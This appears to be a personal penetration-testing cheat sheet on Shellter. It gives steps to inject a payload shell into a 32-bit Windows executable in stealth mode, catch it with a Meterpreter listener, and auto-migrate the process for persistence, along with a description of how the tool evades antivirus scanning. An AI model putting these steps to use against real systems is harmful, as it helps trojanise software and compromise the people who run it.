
## Commands

```

     1010101 01   10 0100110 10     01  11001001 0011101 001001
        11      10   01 00      01     01     01    10      11   10
        0010011 1110001 11011   11     10     00    10011   011001
             11 00   10 01      11     01     11    01      01   11
        0010010 11   00 0011010 100111 000111 00    1100011 01   10 v7.2


# Shellter
sudo wine shellter.exe
automated mode (a)
Home/.../Something.exe                ---> The exe (32bits) we want to 
Stealth Mode     -> Y
Listed Payload   -> L                 ---> Select a payload shell
Wait...
[Enter]

# Attacking Machine
Set a lisenner or Meterpreter

# Target Machine
Launch the payload
```

- You need an executable to use shllter (a file witch will be used to exploit the other machine)
- Original file is in backups

- Take note that the shell session will be close after the user close the window of the installed exe. To solve this you need to migrate to an other processes
	- If you use multihandler in your shellter shell use the following to automaticly migrate the process: set AutoRunScript post/windows/manage/migrate

More information ---> https://www.youtube.com/watch?v=6xexyQwG7SY


## What is Shelter

Shellter is a dynamic shellcode injection tool aka dynamic PE infector. It can
be used in order to inject shellcode into native Windows applications
(currently 32-bit apps only). The shellcode can be something yours or something
generated through a framework, such as Metasploit.

Shellter takes advantage of the original structure of the PE file and doesn't
apply any  modification such as changing memory access permissions in sections
(unless the user wants to), adding an extra section with RWE access, and
whatever would look dodgy under an AV scan.

Shellter is not just an EPO infector that tries to find a location to insert an
instruction to redirect execution to the payload. Unlike any other infector,
Shellter’s advanced infection engine never transfers the execution flow to a
code cave or to an added section in the infected PE file.